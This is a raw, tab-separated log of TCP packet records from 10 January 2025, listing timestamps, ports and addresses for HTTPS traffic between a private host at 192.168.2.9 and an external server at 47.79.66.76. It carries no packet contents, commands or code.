Jan 10, 2025 07:52:11.628448963 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.634462118 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.634505987 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.634530067 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.634536982 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.634567022 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.634582996 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.665265083 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.665312052 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.665345907 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.665357113 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.665369034 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.665401936 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.673052073 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.673094988 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.673135042 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.673141956 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.673177958 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.673187017 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.684025049 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.684071064 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.684103012 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.684109926 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.684144020 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.684151888 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.705740929 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.705782890 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.705816984 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.705823898 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.705852032 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.705872059 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.709918976 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.709961891 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.709992886 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.709999084 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.710022926 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.710042953 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.715213060 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.715255022 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.715279102 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.715287924 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.715317011 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.715326071 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.720751047 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.720793962 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.720829010 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.720834970 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.720865965 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.720880985 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.726982117 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.727027893 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.727061033 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.727066994 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.727094889 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.727112055 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.763063908 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.763151884 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.763155937 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.763187885 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.763221025 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.763243914 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.765458107 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.765503883 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.765526056 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.765553951 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.765578032 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.765592098 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.776506901 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.776551962 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.776586056 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.776598930 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.776635885 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.776645899 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.798429966 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.798496962 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.798518896 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.798528910 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.798552036 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.798567057 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.802304983 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.802352905 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.802381992 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.802390099 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.802429914 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.802429914 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.807940960 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.807995081 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.808021069 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.808027983 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.808060884 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.808083057 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.813234091 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.813280106 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.813306093 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.813313007 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.813361883 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.813375950 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.819430113 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.819474936 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.819495916 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.819509029 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.819540024 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.819555044 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.855561972 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.855622053 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.855655909 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.855669022 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.855695963 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.855716944 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.857918978 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.857981920 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.858005047 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.858014107 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.858022928 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.858051062 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.868954897 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.869010925 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.869040012 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.869046926 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.869074106 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.869090080 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.891211033 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.891256094 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.891285896 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.891300917 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.891326904 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.891336918 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.894676924 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.894730091 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.894768953 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.894778013 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.894798040 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.894819021 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.900183916 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.900238991 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.900269032 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.900276899 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.900300980 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.900321007 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.905699015 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.905761957 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.905770063 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.905791044 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.905824900 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.905842066 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.911819935 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.911870956 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.911904097 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.911912918 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.911941051 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.911957026 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.948057890 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.948101997 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.948139906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.948151112 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.948160887 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.948401928 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.950381994 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.950423956 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.950479984 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.950489998 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.950499058 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.950596094 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.961443901 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.961497068 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.961519003 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.961528063 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.961558104 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.961570024 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.983676910 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.983721972 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.983751059 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.983761072 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.983784914 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.983793974 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.987256050 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.987297058 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.987338066 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.987348080 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.987360001 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.987389088 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.992682934 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.992729902 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.992767096 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.992779016 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.992793083 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.992820024 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.998104095 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.998147011 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.998183966 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.998192072 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:11.998218060 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:11.998236895 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.004326105 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.004367113 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.004399061 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.004409075 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.004426003 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.004448891 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.040508986 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.040553093 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.040615082 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.040615082 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.040625095 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.040775061 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.042859077 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.042902946 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.042941093 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.042948008 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.042989016 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.042989016 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.053844929 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.053886890 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.053944111 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.053944111 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.053952932 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.053989887 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.076235056 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.076286077 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.076356888 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.076356888 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.076364994 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.076404095 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.079802036 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.079847097 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.079879045 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.079885960 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.079922915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.079922915 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.085104942 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.085148096 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.085184097 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.085191011 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.085252047 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.085252047 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.090754986 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.090796947 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.090867043 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.090867043 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.090884924 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.091042042 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.096946001 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.096990108 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.097031116 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.097038031 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.097059011 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.097091913 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.133070946 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.133117914 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.133194923 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.133203030 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.133218050 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.133300066 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.135205984 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.135251045 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.135302067 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.135308981 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.135332108 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.135351896 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.146301031 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.146347046 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.146387100 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.146394014 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.146482944 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.146482944 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.168760061 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.168804884 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.168840885 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.168848038 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.168876886 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.168925047 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.172152996 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.172200918 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.172463894 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.172463894 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.172472954 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.172569990 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.177582026 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.177630901 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.177694082 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.177694082 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.177702904 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.177875042 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.183211088 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.183253050 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.183336020 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.183336020 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.183343887 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.183497906 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.189248085 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.189292908 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.189348936 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.189356089 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.189373970 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.189426899 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.225467920 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.225565910 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.225575924 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.225594997 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.225662947 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.225662947 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.227633953 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.227720976 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.227729082 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.227752924 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.227823973 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.227823973 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.238691092 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.238734961 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.238785982 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.238785982 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.238801956 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.238862991 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.261147976 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.261193037 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.261245012 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.261261940 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.261280060 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.261406898 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.264662981 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.264715910 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.264749050 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.264774084 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.264791012 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.264832973 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.270083904 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.270126104 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.270160913 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.270179033 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.270219088 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.270219088 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.275577068 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.275624037 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.275669098 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.275669098 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.275685072 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.275882959 CET	49751	443	192.168.2.9	47.79.66.76
Jan 10, 2025 07:52:12.281786919 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.281829119 CET	443	49751	47.79.66.76	192.168.2.9
Jan 10, 2025 07:52:12.281944036 CET	49751	443	192.168.2.9	47.79.66.76
